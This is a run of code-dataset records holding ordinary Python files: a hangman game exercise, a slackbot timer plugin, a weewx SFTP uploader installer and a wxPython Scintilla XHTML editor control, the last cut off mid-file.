width=3)\nspin1.grid(row=1, column=1)\nspin2 = Spinbox(root, from_=1, to=10, width=3)\nspin2.grid(row=1, column=0)\n# open button --- add this to your code\nopen_button = ttk.Button(root, text='Open Files', command=select_files)\nopen_button.grid(row=0, column=2)\n\nroot.mainloop()","sub_path":".idea/Bettercode.py","file_name":"Bettercode.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"61782518","text":"#! /usr/bin/env python\n#\n# tick.py ---\n#\n# Filename: tick.py\n# Description:\n# Author: Werther Zhang\n# Maintainer:\n# Created: Tue Oct 11 16:07:15 2016 (+0800)\n#\n\n# Change Log:\n#\n#\n\n# -*- coding: utf-8 -*-\n\nimport time\nfrom slackbot.bot import tick_task\n\ncount = 0\nnext_time=0\n\n@tick_task\ndef hello(message):\n global count\n global next_time\n now = time.time()\n if now < next_time:\n return\n return\n next_time = now + 5 # every 5 seconds\n message.send_to('werther0331', 'hello {}'.format(count))\n count += 1\n","sub_path":"slackbot/plugins/tick.py","file_name":"tick.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"284820977","text":"# Problem Set 2, hangman.py\n# Name: \n# Collaborators:\n# Time spent:\n\n# Hangman Game\n# -----------------------------------\n# Helper code\n# You don't need to understand this helper code,\n# but you will have to know how to use the functions\n# (so be sure to read the docstrings!)\nimport random\nimport string\nimport os\t#os库用来解决相对路径问题\n\nWORDLIST_FILENAME = (os.path.abspath(os.path.dirname(__file__))+\"\\\\words.txt\")\n#要求单词表文件 words.txt与.py在同一个目录\n\n\ndef load_words():\n\n\tprint(\"Loading word list from file...\")\n\t# inFile: file\n\tinFile = open(WORDLIST_FILENAME, 'r')\n\t# line: string\n\tline = inFile.readline()\n\t# wordlist: list of strings\n\twordlist = line.split()\n\tprint(\" \", len(wordlist), \"words loaded.\")\n\treturn wordlist\n\n\n\ndef choose_word(wordlist):\n\n\treturn random.choice(wordlist)\n\n# end of helper code\n\n# -----------------------------------\n\n# Load the list of words into the variable wordlist\n# so that it can be accessed from anywhere in the program\nwordlist = load_words()\n\n\ndef is_word_guessed(secret_word, letters_guessed):\n\t#对于选择的单词,如果每个字母都已经被猜中则返回True\n\tfor letter in secret_word:\n\t\tif letter not in letters_guessed:\n\t\t\treturn False\n\treturn True\n\n\n\ndef get_guessed_word(secret_word, letters_guessed):\n\t#先创建一个字符串并赋值为选择的词\n\tguessed_word = secret_word\n\tfor i in guessed_word :\n\t\tif i not in letters_guessed:\n\t\t\tguessed_word = guessed_word.replace(i,\"_ \")\n\t\t\t#对于未被猜中的字母则用_替代\n\treturn guessed_word\n\n\n\ndef get_available_letters(letters_guessed):\n\t#创建一个字母表\n\tavailable_letters = string.ascii_lowercase\n\tfor i in available_letters:\n\t\tif i in letters_guessed:\n\t\t\tavailable_letters = available_letters.replace(i,'')\n\t\t\t#已经被猜测过的字母在表中剔除\n\treturn available_letters\n\n\ndef hangman(secret_word):\n\n\t#初始化一些关键变量\n\tguesses_remaining = 6\n\twarnings_remaining = 3\n\tunique_letters = 0\t\t#字符串中不同的字母个数\n\tletters_guessed = []\n\tflag_win = False\n\t\n\tprint(\"Welcome to the game Hangman!\")\n\tprint(\"I am thinking the of a word that is \"+str(len(secret_word))+\" letters long.\")\n\tprint(\"You have \"+str(warnings_remaining)+\" warnings left.\")\n\twhile(guesses_remaining > 0 and not flag_win):\n\t#继续条件:还有机会 且 还没赢\n\t\tprint(\"----------------------------------\")\n\t\tprint(\"You have \"+str(guesses_remaining)+\" guesses left\")\n\t\tprint(\"Available letters: \"+get_available_letters(letters_guessed))\n\t\tletter_guessed = input(\"Please guess a letter: \")\n\t\tif len(letter_guessed)!=1 or letter_guessed not in get_available_letters(letters_guessed):\n\t\t#如果出现非法输入则:(如果不是一个字符也认为是非法输入)\n\t\t\tif warnings_remaining > 0:\n\t\t\t\twarnings_remaining -= 1\n\t\t\t\tif len(letter_guessed)!=1:\n\t\t\t\t\tprint(\"Oops! You need to input only a letter. You now have \"+str(warnings_remaining)+\" warnings: \")\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Oops! You've already guessed that letter. You now have \"+str(warnings_remaining)+\" warnings: \")\n\t\t\t\tprint(get_guessed_word(secret_word, letters_guessed))\n\t\t\t\t#扣减警告次数\n\t\t\telse:\n\t\t\t\tprint(\"Oops! You've already guessed that letter. You have no warnings left\")\t\t\t\t\n\t\t\t\tguesses_remaining -= 1\n\t\t\t\tprint(\"so you lose one guess: \"+get_guessed_word(secret_word, letters_guessed))\n\t\t\t\t#扣减猜测次数\n\t\t\tcontinue\n\t\tletters_guessed.append(letter_guessed)\n\t\tif letter_guessed in secret_word:\n\t\t\tprint(\"Good guess!: \"+get_guessed_word(secret_word, letters_guessed))\n\t\t\tunique_letters += 1\n\t\t\t#猜对了的话,所选字符串不同的字母数+1(因为需要猜对的次数等于所选择的字符串不同字母的个数)\n\t\telse:\n\t\t\tprint(\"Oops! That letter is not in my word: \"+get_guessed_word(secret_word, letters_guessed))\n\t\t\tif letter_guessed in ['a','e','i','o']:\n\t\t\t\tguesses_remaining -= 1\t#部分元音字母多扣1次机会\n\t\t\tguesses_remaining -= 1\n\t\tflag_win = is_word_guessed(secret_word, letters_guessed)\n\t\t#判断胜负\n\tTotal_score = guesses_remaining* unique_letters\n\tif(flag_win):\n\t\tprint(\"Congratulations, you won!\")\n\t\tprint(\"Your total score for this game is: \"+str(Total_score ))\n\t\t#胜利则出分数\n\telse:\n\t\tprint(\"Sorry, you ran out of guesses. The word was \"+str(secret_word))\n\n\n# When you've completed your hangman function, scroll down to the bottom\n# of the file and uncomment the first two lines to test\n#(hint: you might want to pick your own\n# secret_word while you're doing your own testing)\n\n\n# -----------------------------------\n\n\n\ndef match_with_gaps(my_word, other_word):\n\tmyword_not_b = my_word.replace(' ','')\n\t#将被_屏蔽的字符串中的空格全部剔除\n\tif(len(myword_not_b) != len(other_word)):\n\t\t#如果两个词长度不一样就一定不同\n\t\treturn False\n\tfor i in range(len(myword_not_b)):\n\t\tif myword_not_b[i] != '_' and myword_not_b[i] != other_word[i]:\n\t\t#出现除_外不同的字母时说明两个词不匹配\n\t\t\treturn False\n\treturn True\n\n\n\ndef show_possible_matches(my_word):\n\tmatches_flag = False\n\tfor word in wordlist:\n\t\tif match_with_gaps(my_word,word):\n\t\t#根据匹配函数在字典中找到匹配的单词打印出来\n\t\t\tprint(word,end='')\n\t\t\tprint(\" \",end='')\n\t\t\tmatches_flag = True\n\tif not matches_flag:\n\t\tprint(\"No matches found\")\n\telse:\n\t\tprint(\"\")\n\n\n\ndef hangman_with_hints(secret_word):\n\t#同hangman(),增设*判断\n\tguesses_remaining = 6\n\twarnings_remaining = 3\n\tunique_letters = 0\n\tletters_guessed = []\n\tflag_win = False\n\t\n\tprint(\"Welcome to the game Hangman!\")\n\tprint(\"I am thinking the of a word that is \"+str(len(secret_word))+\" letters long.\")\n\tprint(\"You have \"+str(warnings_remaining)+\" warnings left.\")\n\twhile(guesses_remaining > 0 and not flag_win):\n\t\tprint(\"----------------------------------\")\n\t\tprint(\"You have \"+str(guesses_remaining)+\" guesses left\")\n\t\tprint(\"Available letters: \"+get_available_letters(letters_guessed))\n\t\tletter_guessed = input(\"Please guess a letter: \")\n\t\tif letter_guessed == '*':\n\t\t# * 判断,如果文件输入了*,则展示所有匹配的单词\n\t\t\tprint(\"Possible word matches are: \")\n\t\t\tshow_possible_matches(get_guessed_word(secret_word, letters_guessed))\n\t\t\tcontinue\n\t\tif len(letter_guessed)!=1 or letter_guessed not in get_available_letters(letters_guessed):\n\t\t\tif warnings_remaining > 0:\n\t\t\t\twarnings_remaining -= 1\n\t\t\t\tif len(letter_guessed)!=1:\n\t\t\t\t\tprint(\"Oops! You need to input only a letter. You now have \"+str(warnings_remaining)+\" warnings: \")\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Oops! You've already guessed that letter. You now have \"+str(warnings_remaining)+\" warnings: \")\n\t\t\t\tprint(get_guessed_word(secret_word, letters_guessed))\n\t\t\telse:\n\t\t\t\tprint(\"Oops! You've already guessed that letter. You have no warnings left\")\t\t\t\t\n\t\t\t\tguesses_remaining -= 1\n\t\t\t\tprint(\"so you lose one guess: \"+get_guessed_word(secret_word, letters_guessed))\n\n\t\t\tcontinue\n\t\tletters_guessed.append(letter_guessed)\n\t\tif letter_guessed in secret_word:\n\t\t\tprint(\"Good guess!: \"+get_guessed_word(secret_word, letters_guessed))\n\t\t\tunique_letters += 1\n\t\telse:\n\t\t\tprint(\"Oops! That letter is not in my word: \"+get_guessed_word(secret_word, letters_guessed))\n\t\t\tif letter_guessed in ['a','e','i','o']:\n\t\t\t\tguesses_remaining -= 1\n\t\t\tguesses_remaining -= 1\n\t\tflag_win = is_word_guessed(secret_word, letters_guessed)\n\tTotal_score = guesses_remaining* unique_letters\n\tif(flag_win):\n\t\tprint(\"Congratulations, you won!\")\n\t\tprint(\"Your total score for this game is: \"+str(Total_score ))\n\telse:\n\t\tprint(\"Sorry, you ran out of guesses. The word was \"+str(secret_word))\n\n\n\tpass\n\n\n\n# When you've completed your hangman_with_hint function, comment the two similar\n# lines above that were used to run the hangman function, and then uncomment\n# these two lines and run this file to test!\n# Hint: You might want to pick your own secret_word while you're testing.\n\n\nif __name__ == \"__main__\":\n\t# pass\n\n\t# To test part 2, comment out the pass line above and\n\t# uncomment the following two lines.\n\t#show_possible_matches(\"t_ _ t\")\n\tsecret_word = choose_word(wordlist)\n\tmod = input(\"Which mod do you want to play?\\n 0.hangman 1.hangman_with_hints\\n\")\n\tif(mod == '1'):#两种模式可以自行选择\n\t\thangman_with_hints(secret_word)\n\telse:\n\t\thangman(secret_word)\n\n\t#pass\n\n###############\n\n\t# To test part 3 re-comment out the above lines and \n\t# uncomment the following two lines. \n\t\n\t#secret_word = choose_word(wordlist)\n\t#hangman_with_hints(secret_word)","sub_path":"P2/ps2.py","file_name":"ps2.py","file_ext":"py","file_size_in_byte":8491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"625795634","text":"# Installer for SFTPUpload\n# Copyright 2016 Chris Davies\n\nfrom setup import ExtensionInstaller\n\ndef loader():\n\treturn SFTPUploadInstaller()\n\nclass SFTPUploadInstaller(ExtensionInstaller):\n\tdef __init__(self):\n\t\tsuper(SFTPUploadInstaller, self).__init__(\n\t\t\tversion='0.1',\n\t\t\tname='sftpupload',\n\t\t\tdescription='A true secure FTP uploader for Weewx. Requires pysftp',\n\t\t\tauthor='Chris Davies',\n\t\t\tauthor_email='weewx@davies-barnard.co.uk',\n\t\t\tconfig={\n\t\t\t\t'StdReport': {\n\t\t\t\t\t\t'SFTP': {\n\t\t\t\t\t\t\t\t'skin': 'SFtp',\n\t\t\t\t\t\t\t\t'user':'yourUserName',\n 'password':'yourPassWord',\n 'server':'yourServer',\n 'path':'remotePath',\n 'max_tries': 3,\n\t\t\t\t\t\t\t\t'HTML_ROOT': 'public_html'\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\t\t\tfiles=[\n\t\t\t\t('bin/user', ['bin/user/sftpupload.py']),\n\t\t\t\t('skins/SFtp', ['skins/SFtp/skin.conf']),\n\t\t\t]\n\t\t)","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585455705","text":"from wx.stc import *\r\nfrom zoundry.appframework.global_services import getResourceRegistry\r\nfrom zoundry.appframework.services.validation.xhtmlvalidation import IZXhtmlValidationListener\r\nfrom zoundry.appframework.services.validation.xhtmlvalidation import ZXhtmlValidationMessage\r\nfrom zoundry.appframework.ui.util.clipboardutil import getTextFromClipboard\r\nfrom zoundry.appframework.ui.util.uiutil import ZMethodRunnable\r\nfrom zoundry.appframework.ui.util.uiutil import fireUIExecEvent\r\nfrom zoundry.appframework.ui.util.xhtmlvalidationutil import ZXhtmlSchemaUiUtil\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.editcontrol import IZEditControl\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.editcontrol import IZRichTextEditControl\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.editcontrol import IZTextEditControl\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.htmleditcontrol import IZXHTMLEditControl\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.htmleditcontrol import ZBaseXHTMLEditControl\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.htmlvalidationlist import ZXhtmlValidationReportListViewContentProvider\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.htmlvalidationlist import ZXhtmlValidationReportView\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.stc.stcfindreplacectx import ZStyledXhtmlEditControlFindReplaceTextContext\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.stc.stcsupport import ZStcAutoCompleteHandler\r\nfrom zoundry.appframework.ui.widgets.controls.advanced.stc.stcsupport import ZStcLocator\r\nfrom zoundry.base.css.csscolor import ZCssColor\r\nfrom zoundry.base.xhtml.xhtmlio import loadXhtmlDocumentFromString\r\nimport wx #@Reimport\r\n\r\n#================================================================\r\n# REF:\r\n# http://www.yellowbrain.com/stc/index.html\r\n# http://www.flamerobin.org/dokuwiki/doku.php?id=wiki:stc\r\n#\r\n#================================================================\r\n\r\n#------------------------------\r\n# Margin marker IDs\r\n#------------------------------\r\nclass IZZStyledTextCtrlMarkers:\r\n MARKER_NONE = 0\r\n MARKER_OK = 1\r\n MARKER_WARN = 2\r\n MARKER_ERROR = 3\r\n MARKER_ARROW = 4\r\n# end IZZStyledTextCtrlMarkers\r\n\r\n\r\n#------------------------------\r\n# Scintilla xhtml text editor\r\n#------------------------------\r\nclass ZStyledXhtmlEditControl(ZBaseXHTMLEditControl, IZXhtmlValidationListener):\r\n\r\n def __init__(self, parent):\r\n ZBaseXHTMLEditControl.__init__(self, parent)\r\n\r\n self.stcCtrl = StyledTextCtrl(self, wx.NewId(), style = wx.NO_BORDER | wx.NO_FULL_REPAINT_ON_RESIZE)\r\n self.stcCtrl.CmdKeyAssign(ord(u'+'), STC_SCMOD_CTRL, STC_CMD_ZOOMIN) #$NON-NLS-1$\r\n self.stcCtrl.CmdKeyAssign(ord(u'-'), STC_SCMOD_CTRL, STC_CMD_ZOOMOUT) #$NON-NLS-1$\r\n\r\n self.autocompleteLocator = ZStcLocator(self.stcCtrl)\r\n self.autocompleteHandler = ZStcAutoCompleteHandler()\r\n self.autocompleteLocatorInfo = None\r\n\r\n self.validationReportProvider = ZXhtmlValidationReportListViewContentProvider()\r\n self.validationView = ZXhtmlValidationReportView(self, self.validationReportProvider)\r\n\r\n box = wx.BoxSizer(wx.VERTICAL)\r\n box.Add(self.stcCtrl, 3, wx.EXPAND)\r\n box.Add(self.validationView, 2, wx.EXPAND | wx.ALL, 4)\r\n self.SetAutoLayout(True)\r\n self.SetSizer(box)\r\n self.Layout()\r\n\r\n self.contentLoaded = False\r\n self._setLexer()\r\n self._setMargins()\r\n self._setMarkers()\r\n self._setStyles()\r\n self._bindStcEvents()\r\n self._bindWidgetEvents()\r\n # end __init__()\r\n\r\n def _getCapabilityIdList(self):\r\n rval = ZBaseXHTMLEditControl._getCapabilityIdList(self)\r\n rval.append(IZEditControl.ZCAPABILITY_CUT)\r\n rval.append(IZEditControl.ZCAPABILITY_COPY)\r\n rval.append(IZEditControl.ZCAPABILITY_PASTE)\r\n rval.append(IZEditControl.ZCAPABILITY_UNDO)\r\n rval.append(IZEditControl.ZCAPABILITY_REDO)\r\n rval.append(IZEditControl.ZCAPABILITY_SELECT_ALL)\r\n rval.append(IZEditControl.ZCAPABILITY_SELECT_NONE)\r\n # text editor capabilities\r\n rval.append(IZTextEditControl.ZCAPABILITY_FIND_TEXT)\r\n rval.append(IZTextEditControl.ZCAPABILITY_FINDREPLACE)\r\n\r\n # rich text editor capabilities\r\n rval.append(IZRichTextEditControl.ZCAPABILITY_BOLD)\r\n rval.append(IZRichTextEditControl.ZCAPABILITY_ITALIC)\r\n rval.append(IZRichTextEditControl.ZCAPABILITY_UNDERLINE)\r\n rval.append(IZRichTextEditControl.ZCAPABILITY_STRIKETHRU)\r\n\r\n # html domain capabilities\r\n rval.append(IZXHTMLEditControl.ZCAPABILITY_SCHEMA_AWARE)\r\n rval.append(IZXHTMLEditControl.ZCAPABILITY_VALIDATE_HTML)\r\n rval.append(IZXHTMLEditControl.ZCAPABILITY_TIDY_HTML)\r\n rval.append(IZXHTMLEditControl.ZCAPABILITY_PASTE_HTML)\r\n# rval.append(IZXHTMLEditControl.ZCAPABILITY_INSERT_IMAGE)\r\n# rval.append(IZXHTMLEditControl.ZCAPABILITY_INSERT_LINK)\r\n return rval\r\n # end _getCapabilityIdList()\r\n\r\n def _bindWidgetEvents(self):\r\n self.Bind(wx.EVT_LIST_ITEM_ACTIVATED, self.onValidationItemActivated, self.validationView.getListControl())\r\n self.Bind(wx.EVT_LIST_ITEM_SELECTED, self.onValidationItemSelected, self.validationView.getListControl())\r\n # end _bindWidgetEvents\r\n\r\n def _getStcControl(self):\r\n return self.stcCtrl\r\n # end _getStcControl()\r\n\r\n def _setLexer(self):\r\n self._getStcControl().SetLexer(STC_LEX_HTML)\r\n # end _setLexer()\r\n\r\n def _setMargins(self):\r\n self._getStcControl().SetEdgeMode(STC_EDGE_BACKGROUND)\r\n self._getStcControl().SetEdgeColumn(256)\r\n # line numbers in the margin\r\n self._getStcControl().SetMarginType(0, STC_MARGIN_NUMBER)\r\n self._getStcControl().SetMarginWidth(0, 22)\r\n\r\n self._getStcControl().SetMarginType(1, STC_MARGIN_SYMBOL)\r\n self._getStcControl().SetMarginSensitive(1, True)\r\n self._getStcControl().SetMarginSensitive(0, True)\r\n # end _setMargins()\r\n\r\n\r\n def _setMarkers(self):\r\n registry = getResourceRegistry()\r\n self._getStcControl().MarkerDefine(IZZStyledTextCtrlMarkers.MARKER_NONE, STC_MARK_EMPTY) #$NON-NLS-1$ #$NON-NLS-2$\r\n self._getStcControl().MarkerDefineBitmap(IZZStyledTextCtrlMarkers.MARKER_OK, registry.getBitmap(u\"images/common/ok16x16.gif\")) #$NON-NLS-1$\r\n self._getStcControl().MarkerDefineBitmap(IZZStyledTextCtrlMarkers.MARKER_WARN, registry.getBitmap(u\"images/common/warning16x16.gif\")) #$NON-NLS-1$\r\n self._getStcControl().MarkerDefineBitmap(IZZStyledTextCtrlMarkers.MARKER_ERROR, registry.getBitmap(u\"images/common/error16x16.gif\")) #$NON-NLS-1$\r\n self._getStcControl().MarkerDefine(IZZStyledTextCtrlMarkers.MARKER_ARROW, STC_MARK_SHORTARROW, u\"blue\", u\"yellow\") #$NON-NLS-1$ #$NON-NLS-2$\r\n # end _setMarkers()\r\n\r\n def _setStyles(self):\r\n # Make some styles, The lexer defines what each style is used for, we\r\n # just have to define what each style looks like. This set is adapted from\r\n # Scintilla sample property files.\r\n\r\n self._getStcControl().StyleClearAll()\r\n\r\n faces = { u'times': u'Times New Roman', #$NON-NLS-2$ #$NON-NLS-1$\r\n u'mono' : u'Courier New', #$NON-NLS-2$ #$NON-NLS-1$\r\n u'helv' : u'Arial', #$NON-NLS-2$ #$NON-NLS-1$\r\n u'other': u'Comic Sans MS', #$NON-NLS-2$ #$NON-NLS-1$\r\n u'size' : 10, #$NON-NLS-1$\r\n u'size2': 8, #$NON-NLS-1$\r\n }\r\n\r\n\r\n # Global default styles for all languages\r\n# self._getStcControl().StyleSetSpec(STC_STYLE_DEFAULT, u\"face:%(mono)s,size:%(size)d\" % faces) #$NON-NLS-1$\r\n# self._getStcControl().StyleSetSpec(STC_STYLE_LINENUMBER, u\"back:#EEEEEE,face:%(helv)s,size:%(size2)d\" % faces) #$NON-NLS-1$\r\n# self._getStcControl().StyleSetSpec(STC_STYLE_CONTROLCHAR, u\"face:%(other)s\" % faces) #$NON-NLS-1$\r\n# self._getStcControl().StyleSetSpec(STC_STYLE_BRACELIGHT, u\"fore:#FF0000,back:#FFFFFF,bold\") #$NON-NLS-1$\r\n# self._getStcControl().StyleSetSpec(STC_STYLE_BRACEBAD, u\"fore:#FF00FF,back:#FFFFFF,bold\") #$NON-NLS-1$\r\n\r\n#wxSTC_H_DEFAULT = stc_c.wxSTC_H_DEFAULT\r\n#wxSTC_H_TAG = stc_c.wxSTC_H_TAG\r\n#wxSTC_H_TAGUNKNOWN = stc_c.wxSTC_H_TAGUNKNOWN\r\n#wxSTC_H_ATTRIBUTE = stc_c.wxSTC_H_ATTRIBUTE\r\n#wxSTC_H_ATTRIBUTEUNKNOWN = stc_c.wxSTC_H_ATTRIBUTEUNKNOWN\r\n#wxSTC_H_NUMBER = stc_c.wxSTC_H_NUMBER\r\n#wxSTC_H_DOUBLESTRING = stc_c.wxSTC_H_DOUBLESTRING\r\n#wxSTC_H_SINGLESTRING = stc_c.wxSTC_H_SINGLESTRING\r\n#wxSTC_H_OTHER = stc_c.wxSTC_H_OTHER\r\n#wxSTC_H_COMMENT = stc_c.wxSTC_H_COMMENT\r\n#wxSTC_H_ENTITY = stc_c.wxSTC_H_ENTITY\r\n#wxSTC_H_TAGEND = stc_c.wxSTC_H_TAGEND\r\n#wxSTC_H_XMLSTART = stc_c.wxSTC_H_XMLSTART\r\n#wxSTC_H_XMLEND = stc_c.wxSTC_H_XMLEND\r\n#wxSTC_H_SCRIPT = stc_c.wxSTC_H_SCRIPT\r\n#wxSTC_H_ASP = stc_c.wxSTC_H_ASP\r\n#wxSTC_H_ASPAT = stc_c.wxSTC_H_ASPAT\r\n#wxSTC_H_CDATA = stc_c.wxSTC_H_CDATA\r\n#wxSTC_H_QUESTION = stc_c.wxSTC_H_QUESTION\r\n#wxSTC_H_VALUE = stc_c.wxSTC_H_VALUE\r\n#wxSTC_H_XCCOMMENT = stc_c.wxSTC_H_XCCOMMENT\r\n\r\n # Default\r\n self._getStcControl().StyleSetSpec(STC_H_DEFAULT, u\"fore:#000000,face:%(mono)s,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_COMMENT, u\"fore:#007F00,face:%(other)s,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_NUMBER, u\"fore:#000000,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_DOUBLESTRING, u\"fore:#000099,face:%(helv)s,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_SINGLESTRING, u\"fore:#000099,face:%(helv)s,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_TAG, u\"fore:#7F007F,bold,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_TAGEND, u\"fore:#7F007F,bold,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_TAGUNKNOWN, u\"fore:#00007f,italic,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_ATTRIBUTE, u\"fore:#00000,normal,size:%(size)d\" % faces) #$NON-NLS-1$\r\n self._getStcControl().StyleSetSpec(STC_H_ATTRIBUTEUNKNOWN, u\"fore:#007F00,italic,size:%(size)d\" % faces) #$NON-NLS-1$\r\n\r\n self._getStcControl().SetCaretForeground(u\"BLUE\") #$NON-NLS-1$\r\n # end _setStyles()\r\n\r\n def _bindStcEvents(self):\r\n # disable right click menu\r\n self._getStcControl().UsePopUp(0)\r\n id = self._getStcControl().GetId()\r\n self._getStcControl().Bind(wx.EVT_RIGHT_UP, self.onRightClick)\r\n EVT_STC_UPDATEUI(self._getStcControl(), id, self.onSelectionChange)\r\n EVT_STC_UPDATEUI(self._getStcControl(), id, self.onUpdateUI)\r\n EVT_STC_CHANGE(self._getStcControl(), id, self.onChange)\r\n\r\n EVT_STC_CHARADDED(self._getStcControl(), id, self.onCharAdded)\r\n EVT_STC_USERLISTSELECTION(self._getStcControl(), id, self.onUserListSelection)\r\n wx.EVT_KEY_DOWN(self._getStcControl(), self.onKeyPressed)\r\n EVT_STC_MARGINCLICK(self._getStcControl(), id, self.onMarginClick)\r\n## EVT_STC_START_DRAG(self._getStcControl(), id, self.OnStartDrag)\r\n## EVT_STC_DRAG_OVER(self._getStcControl(), id, self.OnDragOver)\r\n# EVT_STC_DO_DROP(self._getStcControl(), id, self.OnDoDrop)\r\n## EVT_STC_MARGINCLICK(self._getStcControl(),id, self.OnMarginClick)\r\n\r\n\r\n # end _bindStcEvents()\r\n\r\n def _matchBraces(self):\r\n p1 = self._getStcControl().GetCurrentPos()\r\n c1 = self._getStcControl().GetCharAt(p1)\r\n p2 = p1 - 1\r\n if p2 < 0:\r\n p2 = 0\r\n c2 = self._getStcControl().GetCharAt(p2)\r\n openBrace = [ord(u\"<\"), ord(u\"\\\"\"), ord(u\"'\")] #$NON-NLS-1$ #$NON-NLS-2$ #$NON-NLS-3$\r\n closeBrace = [ord(u\">\"),ord(u\"\\\"\"), ord(u\"'\")] #$NON-NLS-1$ #$NON-NLS-2$ #$NON-NLS-3$\r\n if (c2 in openBrace or c2 in closeBrace) or (c1 in openBrace or c1 in closeBrace):\r\n p = p1\r\n if c2 in openBrace or c2 in closeBrace:\r\n p = p - 1\r\n q = self._getStcControl().BraceMatch(p)\r\n if q == STC_INVALID_POSITION:\r\n self._getStcControl().BraceBadLight(p);\r\n else:\r\n self._getStcControl().BraceHighlight(p,q);\r\n else:\r\n self._getStcControl().BraceBadLight(STC_INVALID_POSITION);\r\n # end _matchBraces\r\n\r\n def onKeyPressed(self, event):\r\n self._resetMarkerHighLighting()\r\n if self._getStcControl().CallTipActive():\r\n self._getStcControl().CallTipCancel()\r\n key = event.GetKeyCode()\r\n event.Skip()\r\n if key == 32 and event.ControlDown():\r\n if event.ShiftDown():\r\n self._showCallTip()\r\n else:\r\n self._showXhtmlAutoComplete(False)\r\n # end OnKeyPressed\r\n\r\n def _showCallTip(self):\r\n pos = self._getStcControl().GetCurrentPos()\r\n text = self.autocompleteHandler.getCallTip(self.autocompleteLocator)\r\n if text:\r\n self._getStcControl().CallTipSetBackground(u\"yellow\")#$NON-NLS-1$\r\n self._getStcControl().CallTipShow(pos, text)\r\n # end _showCallTip\r\n\r\n def _showXhtmlAutoComplete(self, autoHide=False):\r\n if self._getStcControl().CallTipActive():\r\n self._getStcControl().CallTipCancel()\r\n\r\n pos = self._getStcControl().GetCurrentPos() #@UnusedVariable\r\n if not self._getStcControl().AutoCompActive():\r\n (lst, self.autocompleteLocatorInfo) = self.autocompleteHandler.getAutocompleteList(self.autocompleteLocator)\r\n\r\n if lst and len(lst) > 0:\r\n lst.sort() # Python sorts are case sensitive\r\n self._getStcControl().AutoCompSetAutoHide(autoHide)\r\n self._getStcControl().AutoCompSetIgnoreCase(False) # so this needs to match\r\n self._getStcControl().AutoCompSetSeparator(ord(u\"|\"))#$NON-NLS-1$\r\n #self.AutoCompShow(0, u\"|\".join(lst)) #$NON-NLS-1$\r\n try:\r\n self._getStcControl().UserListShow(self.autocompleteLocatorInfo.locationType, u\"|\".join(lst)) #$NON-NLS-1$\r\n except:\r\n pass\r\n # end _showXhtmlAutoComplete()\r\n\r\n def onCharAdded(self, event): #@UnusedVariable\r\n p = self._getStcControl().GetCurrentPos()\r\n # if autocomp is active and the char sequence is \" 1 and self._getStcControl().GetCharAt(p-1) == ord(u\"/\") and self._getStcControl().GetCharAt(p-2) == ord(u\"<\"): #$NON-NLS-1$ #$NON-NLS-2$\r\n self._getStcControl().AutoCompCancel()\r\n\r\n if not self._getStcControl().AutoCompActive():\r\n # xhtml\r\n if p > 0 and self._getStcControl().GetCharAt(p-1) == ord(u\"<\"): #$NON-NLS-1$\r\n self._showXhtmlAutoComplete(True)\r\n elif p > 1 and self._getStcControl().GetCharAt(p-1) == ord(u\"/\") and self._getStcControl().GetCharAt(p-2) == ord(u\"<\"): #$NON-NLS-1$ #$NON-NLS-2$\r\n self._showXhtmlAutoComplete(True)\r\n # http://\r\n elif p > 8 and (self._getStcControl().GetTextRange(p-7,p).lower() == u\"http://\" or self._getStcControl().GetTextRange(p-8,p).lower() == u\"https://\") : #$NON-NLS-1$ #$NON-NLS-2$\r\n lst = self.autocompleteHandler.getHrefList(self.autocompleteLocator,True)\r\n if lst and len(lst) > 0:\r\n # remove leading http://\r\n for i in range(len(lst)):\r\n if lst[i].startswith(u\"http://\"): #$NON-NLS-1$\r\n lst[i] = lst[i][7:]\r\n elif lst[i].startswith(u\"https://\"): #$NON-NLS-1$\r\n lst[i] = lst[i][8:]\r\n lst.sort()\r\n if self._getStcControl().CallTipActive():\r\n self._getStcControl().CallTipCancel()\r\n\r\n self._getStcControl().AutoCompSetAutoHide(True)\r\n self._getStcControl().AutoCompSetIgnoreCase(False)\r\n self._getStcControl().AutoCompSetSeparator(ord(u\"^\"))#$NON-NLS-1$\r\n try:\r\n self._getStcControl().AutoCompShow(0, u\"^\".join(lst)) #$NON-NLS-1$\r\n except:\r\n pass\r\n # end onCharAdded\r\n\r\n def onUserListSelection(self, evt):\r\n lType = evt.GetListType()\r\n text = evt.GetText()\r\n if text and len(text.strip()) > 0:\r\n p1 = self._getStcControl().AutoCompPosStart()\r\n p2 = self._getStcControl().GetCurrentPos()\r\n if lType == ZStcLocator.OPENTAG:\r\n if self.autocompleteHandler.isEmptyTag(text):\r\n if text == u\"img\": #$NON-NLS-1$\r\n text = text + u' src=\"\" alt=\"\"' #$NON-NLS-1$\r\n text = text + u\" 